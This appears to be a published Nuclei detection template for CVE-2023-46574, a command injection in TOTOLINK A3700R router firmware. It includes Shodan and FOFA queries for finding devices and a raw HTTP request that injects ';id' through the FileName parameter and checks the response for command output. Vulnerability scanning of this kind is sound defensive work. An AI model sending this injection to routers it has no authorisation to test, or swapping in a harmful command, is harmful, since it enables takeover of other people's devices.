TOTOLINK A3700R - Command Injection

ID: CVE-2023-46574

Severity: critical

Author: DhiyaneshDk

Tags: cve,cve2023,totolink,router,iot,rce

Description

An issue in TOTOLINK A3700R v.9.1.2u.6165_20211012 allows a remote attacker to execute arbitrary code via the FileName parameter of the UploadFirmwareFile function.

YAML Source

id: CVE-2023-46574

info:
  name: TOTOLINK A3700R - Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    An issue in TOTOLINK A3700R v.9.1.2u.6165_20211012 allows a remote attacker to execute arbitrary code via the FileName parameter of the UploadFirmwareFile function.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-46574
    - https://github.com/OraclePi/repo/blob/main/totolink%20A3700R/1/A3700R%20%20V9.1.2u.6165_20211012%20vuln.md
    - https://github.com/Marco-zcl/POC
    - https://github.com/d4n-sec/d4n-sec.github.io
    - https://github.com/wy876/POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-46574
    cwe-id: CWE-77
    epss-score: 0.20185
    epss-percentile: 0.96341
    cpe: cpe:2.3:o:totolink:a3700r_firmware:9.1.2u.6165_20211012:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: totolink
    product: a3700r_firmware
    shodan-query:
      - title:"Totolink"
      - http.title:"totolink"
    fofa-query: title="totolink"
    google-query: intitle:"totolink"
  tags: cve,cve2023,totolink,router,iot,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<title>TOTOLINK</title>")'
        condition: and

  - raw:
      - |
        GET /cgi-bin/cstecgi.cgi HTTP/1.1
        Host: {{Hostname}}

        {"topicurl":"UploadFirmwareFile","FileName":";id"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) groups=([0-9(a-z)]+)"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022048143f074dd7f4e1a1153356dbc8441aa515ee877005d3d46247302bc12c9ff0022100da8abdeb57d9c97fc9d466865aaab60ae8251a2c901570103f89cf80da770fa7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-46574.yaml"

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